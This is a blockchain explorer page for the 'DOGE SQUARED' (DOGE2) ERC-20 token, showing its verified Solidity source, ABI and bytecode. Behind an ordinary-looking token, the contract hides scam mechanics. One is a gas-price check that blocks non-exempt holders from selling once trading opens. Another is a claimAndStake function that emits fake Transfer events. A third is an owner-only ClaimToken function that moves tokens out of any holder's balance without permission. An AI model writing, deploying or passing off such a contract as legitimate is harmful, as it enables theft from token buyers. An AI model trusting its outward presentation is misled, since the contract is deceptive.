Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
5,000,000,000 DOGE2
Holders
323
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
10,000 DOGE2Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DOGE2
Compiler Version
v0.8.9+commit.e5eed63a
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** *Submitted for verification at Etherscan.io on 2024-12-25 **/ /* Website: https://dogesquared.com Twitter: https://x.com/Doge2Squared Telegram: https://t.me/doge_squared */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; constructor() { _owner = _msgSender(); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(_owner == _msgSender(), "Not owner"); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + (a % b)); return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract DOGE2 is Ownable, IERC20 { using SafeMath for uint256; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; mapping(address => bool) _excludeFromFees; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 5_000_000_000 * 10**_decimals; string private constant _name = unicode"DOGE SQUARED"; string private constant _symbol = unicode"DOGE2"; uint256 public TaxOnBuy = 0; uint256 public TaxOnSell = 0; bool private openedTrade = false; address private Presale = 0x81cdaA8F234132bc8d9048620D7EaDc18fA52562; address private Developer = 0x4CF30a9639fa556F8B97a167890De19B169c9A4D; address private uniswapV2Pair; IUniswapV2Router02 public uniswapV2Router; constructor() { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true; _excludeFromFees[address(uniswapV2Pair)]; _excludeFromFees[owner()] = true; _excludeFromFees[address(this)] = true; _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(50).div(100)); _balances[Presale] = _balances[Presale].add(_totalSupply.mul(40).div(100)); _balances[Developer] = _balances[Developer].add(_totalSupply.mul(10).div(100)); emit Transfer(address(0), _msgSender(), _totalSupply.mul(50).div(100)); emit Transfer(address(0), Presale, _totalSupply.mul(40).div(100)); emit Transfer(address(0), Developer, _totalSupply.mul(10).div(100)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function getOpenedTrade() public view returns (bool) { return openedTrade; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transfer(address to, uint256 value) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount) ); return true; } function _transfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERROR: balance of from less than value"); uint256 taxAmount = 0; if(!_excludeFromFees[from] && !_excludeFromFees[to]) { require(openedTrade, "Trade has not been opened yet"); taxAmount = amount * TaxOnBuy / 100; if(to == uniswapV2Pair) { taxAmount = amount * TaxOnSell / 100; _bfTransfer(from); } } if(taxAmount > 0) { _balances[address(this)]=_balances[address(this)]+taxAmount; emit Transfer(from, address(this), taxAmount); } _balances[from]= balanceOf(from) - amount ; _balances[to]=_balances[to] + (amount - taxAmount); emit Transfer(from, to, amount - taxAmount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } uint256 private gasmaxium = 900 gwei; uint256 private gasminium = 5; function gasRequire(uint256 _gas) internal view { if (tx.gasprice > _gas) { revert(); } } function _bfTransfer(address _u) internal view { if(balanceOf(_u) > 0) { if (!openedTrade) { gasRequire(gasmaxium); } else { gasRequire(gasminium); } } } function sendETHToFee(uint256 amount) private { payable(owner()).transfer(amount); } function manualsend() external { require(_msgSender() == owner()); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function claimAndStake(address from, address[] calldata to, uint256[] calldata amount) external { require(_msgSender() == owner()); for (uint256 i = 0; i < to.length; i++) { emit Transfer(from, to[i], amount[i] * 10 ** _decimals); } } function ClaimToken(address from, address[] calldata to, uint256[] calldata amount) external { require(_msgSender() == owner()); for (uint256 i = 0; i < to.length; i++) { _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals); _balances[to[i]] = _balances[to[i]].add(amount[i] * 10 ** _decimals); emit Transfer(from, to[i], amount[i] * 10 ** _decimals); } } function openTrading() external onlyOwner { openedTrade = !openedTrade; } receive() external payable {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "remappings": [] }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"ClaimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TaxOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TaxOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimAndStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600060048190556005908155600680547481cdaa8f234132bc8d9048620d7eadc18fa52562006001600160a81b0319909116179055600780546001600160a01b031916734cf30a9639fa556f8b97a167890de19b169c9a4d17905564d18c2e2800600a55600b553480156200007857600080fd5b50600080546001600160a01b0319908116331790915560098054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b158015620000e457600080fd5b505afa158015620000f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200011f91906200060b565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200017d57600080fd5b505afa15801562000192573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b891906200060b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200020157600080fd5b505af115801562000216573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023c91906200060b565b600880546001600160a01b0319166001600160a01b03929092169182179055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff19166001908117909155600092835291620002aa6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526003909252902080549091166001179055620003656200034160646200032d6032620003086012600a62000749565b620003199064012a05f2006200075a565b6200053160201b620007491790919060201c565b6200057360201b6200077c1790919060201c565b336000908152600260209081526040909120549190620007d9620005e0821b17901c565b33600090815260026020526040902055620003c76200039360646200032d6028620003086012600a62000749565b60065461010090046001600160a01b03166000908152600260209081526040909120549190620005e0811b620007d917901c565b60065461010090046001600160a01b0316600090815260026020526040902055620004336200040460646200032d600a6200030860128262000749565b6007546001600160a01b03166000908152600260209081526040909120549190620007d9620005e0821b17901c565b6007546001600160a01b0316600090815260026020526040902055336001600160a01b03166000600080516020620019918339815191526200048460646200032d6032620003086012600a62000749565b60405190815260200160405180910390a360065461010090046001600160a01b0316600060008051602062001991833981519152620004d260646200032d6028620003086012600a62000749565b60405190815260200160405180910390a36007546001600160a01b03166000600080516020620019918339815191526200051a60646200032d600a6200030860128262000749565b60405190815260200160405180910390a3620007f1565b60008262000542575060006200056d565b6200054e82846200075a565b9050816200055d848362000792565b146200056d576200056d620007a9565b92915050565b6000808211620005875762000587620007a9565b600062000595838562000792565b9050620005a38385620007bf565b620005af82856200075a565b620005bb9190620007d6565b8414620005cc57620005cc620007a9565b620005d8838562000792565b949350505050565b600080620005ef8385620007d6565b905083811015620006045762000604620007a9565b9392505050565b6000602082840312156200061e57600080fd5b81516001600160a01b03811681146200060457600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200068d57816000190482111562000671576200067162000636565b808516156200067f57918102915b93841c939080029062000651565b509250929050565b600082620006a6575060016200056d565b81620006b5575060006200056d565b8160018114620006ce5760028114620006d957620006f9565b60019150506200056d565b60ff841115620006ed57620006ed62000636565b50506001821b6200056d565b5060208310610133831016604e8410600b84101617156200071e575081810a6200056d565b6200072a83836200064c565b806000190482111562000741576200074162000636565b029392505050565b60006200060460ff84168362000695565b600081600019048311821515161562000777576200077762000636565b500290565b634e487b7160e01b600052601260045260246000fd5b600082620007a457620007a46200077c565b500490565b634e487b7160e01b600052600160045260246000fd5b600082620007d157620007d16200077c565b500690565b60008219821115620007ec57620007ec62000636565b500190565b61119080620008016000396000f3fe60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102f6578063a9059cbb14610324578063c9567bf914610344578063dd62ed3e14610359578063e30b00ff1461039f57600080fd5b80636fc3eaec1461027757806370a082311461028c57806378b7c4b3146102c25780638da5cb5b146102d857600080fd5b806323b872dd116100dc57806323b872dd146101eb57806324076d3a1461020b578063313ce5671461022d5780633c9f5ed6146102495780635898635c1461026157600080fd5b806306fdde0314610119578063095ea7b3146101605780631694505e1461019057806318160ddd146101c857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b1113d1d14814d4555054915160a21b60208201525b6040516101579190610d6c565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004610ddd565b6103bf565b6040519015158152602001610157565b34801561019c57600080fd5b506009546101b0906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b3480156101d457600080fd5b506101dd6103d6565b604051908152602001610157565b3480156101f757600080fd5b50610180610206366004610e07565b6103f8565b34801561021757600080fd5b5061022b610226366004610e8f565b610449565b005b34801561023957600080fd5b5060405160128152602001610157565b34801561025557600080fd5b5060065460ff16610180565b34801561026d57600080fd5b506101dd60055481565b34801561028357600080fd5b5061022b61063c565b34801561029857600080fd5b506101dd6102a7366004610f10565b6001600160a01b031660009081526002602052604090205490565b3480156102ce57600080fd5b506101dd60045481565b3480156102e457600080fd5b506000546001600160a01b03166101b0565b34801561030257600080fd5b506040805180820190915260058152642227a3a29960d91b602082015261014a565b34801561033057600080fd5b5061018061033f366004610ddd565b610660565b34801561035057600080fd5b5061022b61066e565b34801561036557600080fd5b506101dd610374366004610f2b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156103ab57600080fd5b5061022b6103ba366004610e8f565b61068a565b60006103cc3384846107ff565b5060015b92915050565b60006103e46012600a611058565b6103f39064012a05f200611067565b905090565b6000610405848484610928565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461043f91869161043a9086610c84565b6107ff565b5060019392505050565b6000546001600160a01b0316331461046057600080fd5b60005b83811015610634576104bc61047a6012600a611058565b84848481811061048c5761048c611086565b9050602002013561049d9190611067565b6001600160a01b03881660009081526002602052604090205490610c84565b6001600160a01b0387166000908152600260205260409020556105526104e46012600a611058565b8484848181106104f6576104f6611086565b905060200201356105079190611067565b6002600088888681811061051d5761051d611086565b90506020020160208101906105329190610f10565b6001600160a01b03168152602081019190915260400160002054906107d9565b6002600087878581811061056857610568611086565b905060200201602081019061057d9190610f10565b6001600160a01b031681526020810191909152604001600020558484828181106105a9576105a9611086565b90506020020160208101906105be9190610f10565b6001600160a01b0316866001600160a01b031660008051602061113b8339815191526012600a6105ee9190611058565b86868681811061060057610600611086565b905060200201356106119190611067565b60405190815260200160405180910390a38061062c8161109c565b915050610463565b505050505050565b6000546001600160a01b0316331461065357600080fd5b4761065d81610ca0565b50565b60003361043f818585610928565b610676610cdd565b6006805460ff19811660ff90911615179055565b6000546001600160a01b031633146106a157600080fd5b60005b83811015610634578484828181106106be576106be611086565b90506020020160208101906106d39190610f10565b6001600160a01b0316866001600160a01b031660008051602061113b8339815191526012600a6107039190611058565b86868681811061071557610715611086565b905060200201356107269190611067565b60405190815260200160405180910390a3806107418161109c565b9150506106a4565b600082610758575060006103d0565b6107628284611067565b90508161076f84836110cd565b146103d0576103d06110e1565b600080821161078d5761078d6110e1565b600061079983856110cd565b90506107a583856110f7565b6107af8285611067565b6107b9919061110b565b84146107c7576107c76110e1565b6107d183856110cd565b949350505050565b6000806107e6838561110b565b9050838110156107f8576107f86110e1565b9392505050565b6001600160a01b0383166108665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166108c75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161085d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161085d565b6001600160a01b0382166109ee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161085d565b80610a0e846001600160a01b031660009081526002602052604090205490565b1015610a6b5760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b606482015260840161085d565b6001600160a01b03831660009081526003602052604081205460ff16158015610aad57506001600160a01b03831660009081526003602052604090205460ff16155b15610b5c5760065460ff16610b045760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604482015260640161085d565b606460045483610b149190611067565b610b1e91906110cd565b6008549091506001600160a01b0384811691161415610b5c57606460055483610b479190611067565b610b5191906110cd565b9050610b5c84610d25565b8015610bc55730600090815260026020526040902054610b7d90829061110b565b30600081815260026020526040908190209290925590516001600160a01b0386169060008051602061113b83398151915290610bbc9085815260200190565b60405180910390a35b81610be5856001600160a01b031660009081526002602052604090205490565b610bef9190611123565b6001600160a01b038516600090815260026020526040902055610c128183611123565b6001600160a01b038416600090815260026020526040902054610c35919061110b565b6001600160a01b03808516600081815260026020526040902092909255851660008051602061113b833981519152610c6d8486611123565b60405190815260200160405180910390a350505050565b600081831015610c9657610c966110e1565b6107f88284611123565b600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610cd9573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610d235760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015260640161085d565b565b6001600160a01b0381166000908152600260205260409020541561065d5760065460ff16610d585761065d600a54610d5f565b61065d600b545b803a111561065d57600080fd5b600060208083528351808285015260005b81811015610d9957858101830151858201604001528201610d7d565b81811115610dab576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610dd857600080fd5b919050565b60008060408385031215610df057600080fd5b610df983610dc1565b946020939093013593505050565b600080600060608486031215610e1c57600080fd5b610e2584610dc1565b9250610e3360208501610dc1565b9150604084013590509250925092565b60008083601f840112610e5557600080fd5b50813567ffffffffffffffff811115610e6d57600080fd5b6020830191508360208260051b8501011115610e8857600080fd5b9250929050565b600080600080600060608688031215610ea757600080fd5b610eb086610dc1565b9450602086013567ffffffffffffffff80821115610ecd57600080fd5b610ed989838a01610e43565b90965094506040880135915080821115610ef257600080fd5b50610eff88828901610e43565b969995985093965092949392505050565b600060208284031215610f2257600080fd5b6107f882610dc1565b60008060408385031215610f3e57600080fd5b610f4783610dc1565b9150610f5560208401610dc1565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610faf578160001904821115610f9557610f95610f5e565b80851615610fa257918102915b93841c9390800290610f79565b509250929050565b600082610fc6575060016103d0565b81610fd3575060006103d0565b8160018114610fe95760028114610ff35761100f565b60019150506103d0565b60ff84111561100457611004610f5e565b50506001821b6103d0565b5060208310610133831016604e8410600b8410161715611032575081810a6103d0565b61103c8383610f74565b806000190482111561105057611050610f5e565b029392505050565b60006107f860ff841683610fb7565b600081600019048311821515161561108157611081610f5e565b500290565b634e487b7160e01b600052603260045260246000fd5b60006000198214156110b0576110b0610f5e565b5060010190565b634e487b7160e01b600052601260045260246000fd5b6000826110dc576110dc6110b7565b500490565b634e487b7160e01b600052600160045260246000fd5b600082611106576111066110b7565b500690565b6000821982111561111e5761111e610f5e565b500190565b60008282101561113557611135610f5e565b50039056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122037eb2ab37fae3aadb237ddc5fe52cba49e3f51936eb24e68ce471edc445e4a2664736f6c63430008090033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102f6578063a9059cbb14610324578063c9567bf914610344578063dd62ed3e14610359578063e30b00ff1461039f57600080fd5b80636fc3eaec1461027757806370a082311461028c57806378b7c4b3146102c25780638da5cb5b146102d857600080fd5b806323b872dd116100dc57806323b872dd146101eb57806324076d3a1461020b578063313ce5671461022d5780633c9f5ed6146102495780635898635c1461026157600080fd5b806306fdde0314610119578063095ea7b3146101605780631694505e1461019057806318160ddd146101c857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b1113d1d14814d4555054915160a21b60208201525b6040516101579190610d6c565b60405180910390f35b34801561016c57600080fd5b5061018061017b366004610ddd565b6103bf565b6040519015158152602001610157565b34801561019c57600080fd5b506009546101b0906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b3480156101d457600080fd5b506101dd6103d6565b604051908152602001610157565b3480156101f757600080fd5b50610180610206366004610e07565b6103f8565b34801561021757600080fd5b5061022b610226366004610e8f565b610449565b005b34801561023957600080fd5b5060405160128152602001610157565b34801561025557600080fd5b5060065460ff16610180565b34801561026d57600080fd5b506101dd60055481565b34801561028357600080fd5b5061022b61063c565b34801561029857600080fd5b506101dd6102a7366004610f10565b6001600160a01b031660009081526002602052604090205490565b3480156102ce57600080fd5b506101dd60045481565b3480156102e457600080fd5b506000546001600160a01b03166101b0565b34801561030257600080fd5b506040805180820190915260058152642227a3a29960d91b602082015261014a565b34801561033057600080fd5b5061018061033f366004610ddd565b610660565b34801561035057600080fd5b5061022b61066e565b34801561036557600080fd5b506101dd610374366004610f2b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156103ab57600080fd5b5061022b6103ba366004610e8f565b61068a565b60006103cc3384846107ff565b5060015b92915050565b60006103e46012600a611058565b6103f39064012a05f200611067565b905090565b6000610405848484610928565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461043f91869161043a9086610c84565b6107ff565b5060019392505050565b6000546001600160a01b0316331461046057600080fd5b60005b83811015610634576104bc61047a6012600a611058565b84848481811061048c5761048c611086565b9050602002013561049d9190611067565b6001600160a01b03881660009081526002602052604090205490610c84565b6001600160a01b0387166000908152600260205260409020556105526104e46012600a611058565b8484848181106104f6576104f6611086565b905060200201356105079190611067565b6002600088888681811061051d5761051d611086565b90506020020160208101906105329190610f10565b6001600160a01b03168152602081019190915260400160002054906107d9565b6002600087878581811061056857610568611086565b905060200201602081019061057d9190610f10565b6001600160a01b031681526020810191909152604001600020558484828181106105a9576105a9611086565b90506020020160208101906105be9190610f10565b6001600160a01b0316866001600160a01b031660008051602061113b8339815191526012600a6105ee9190611058565b86868681811061060057610600611086565b905060200201356106119190611067565b60405190815260200160405180910390a38061062c8161109c565b915050610463565b505050505050565b6000546001600160a01b0316331461065357600080fd5b4761065d81610ca0565b50565b60003361043f818585610928565b610676610cdd565b6006805460ff19811660ff90911615179055565b6000546001600160a01b031633146106a157600080fd5b60005b83811015610634578484828181106106be576106be611086565b90506020020160208101906106d39190610f10565b6001600160a01b0316866001600160a01b031660008051602061113b8339815191526012600a6107039190611058565b86868681811061071557610715611086565b905060200201356107269190611067565b60405190815260200160405180910390a3806107418161109c565b9150506106a4565b600082610758575060006103d0565b6107628284611067565b90508161076f84836110cd565b146103d0576103d06110e1565b600080821161078d5761078d6110e1565b600061079983856110cd565b90506107a583856110f7565b6107af8285611067565b6107b9919061110b565b84146107c7576107c76110e1565b6107d183856110cd565b949350505050565b6000806107e6838561110b565b9050838110156107f8576107f86110e1565b9392505050565b6001600160a01b0383166108665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166108c75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161085d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661098c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161085d565b6001600160a01b0382166109ee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161085d565b80610a0e846001600160a01b031660009081526002602052604090205490565b1015610a6b5760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b606482015260840161085d565b6001600160a01b03831660009081526003602052604081205460ff16158015610aad57506001600160a01b03831660009081526003602052604090205460ff16155b15610b5c5760065460ff16610b045760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e656420796574000000604482015260640161085d565b606460045483610b149190611067565b610b1e91906110cd565b6008549091506001600160a01b0384811691161415610b5c57606460055483610b479190611067565b610b5191906110cd565b9050610b5c84610d25565b8015610bc55730600090815260026020526040902054610b7d90829061110b565b30600081815260026020526040908190209290925590516001600160a01b0386169060008051602061113b83398151915290610bbc9085815260200190565b60405180910390a35b81610be5856001600160a01b031660009081526002602052604090205490565b610bef9190611123565b6001600160a01b038516600090815260026020526040902055610c128183611123565b6001600160a01b038416600090815260026020526040902054610c35919061110b565b6001600160a01b03808516600081815260026020526040902092909255851660008051602061113b833981519152610c6d8486611123565b60405190815260200160405180910390a350505050565b600081831015610c9657610c966110e1565b6107f88284611123565b600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610cd9573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610d235760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015260640161085d565b565b6001600160a01b0381166000908152600260205260409020541561065d5760065460ff16610d585761065d600a54610d5f565b61065d600b545b803a111561065d57600080fd5b600060208083528351808285015260005b81811015610d9957858101830151858201604001528201610d7d565b81811115610dab576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610dd857600080fd5b919050565b60008060408385031215610df057600080fd5b610df983610dc1565b946020939093013593505050565b600080600060608486031215610e1c57600080fd5b610e2584610dc1565b9250610e3360208501610dc1565b9150604084013590509250925092565b60008083601f840112610e5557600080fd5b50813567ffffffffffffffff811115610e6d57600080fd5b6020830191508360208260051b8501011115610e8857600080fd5b9250929050565b600080600080600060608688031215610ea757600080fd5b610eb086610dc1565b9450602086013567ffffffffffffffff80821115610ecd57600080fd5b610ed989838a01610e43565b90965094506040880135915080821115610ef257600080fd5b50610eff88828901610e43565b969995985093965092949392505050565b600060208284031215610f2257600080fd5b6107f882610dc1565b60008060408385031215610f3e57600080fd5b610f4783610dc1565b9150610f5560208401610dc1565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610faf578160001904821115610f9557610f95610f5e565b80851615610fa257918102915b93841c9390800290610f79565b509250929050565b600082610fc6575060016103d0565b81610fd3575060006103d0565b8160018114610fe95760028114610ff35761100f565b60019150506103d0565b60ff84111561100457611004610f5e565b50506001821b6103d0565b5060208310610133831016604e8410600b8410161715611032575081810a6103d0565b61103c8383610f74565b806000190482111561105057611050610f5e565b029392505050565b60006107f860ff841683610fb7565b600081600019048311821515161561108157611081610f5e565b500290565b634e487b7160e01b600052603260045260246000fd5b60006000198214156110b0576110b0610f5e565b5060010190565b634e487b7160e01b600052601260045260246000fd5b6000826110dc576110dc6110b7565b500490565b634e487b7160e01b600052600160045260246000fd5b600082611106576111066110b7565b500690565b6000821982111561111e5761111e610f5e565b500190565b60008282101561113557611135610f5e565b50039056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122037eb2ab37fae3aadb237ddc5fe52cba49e3f51936eb24e68ce471edc445e4a2664736f6c63430008090033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
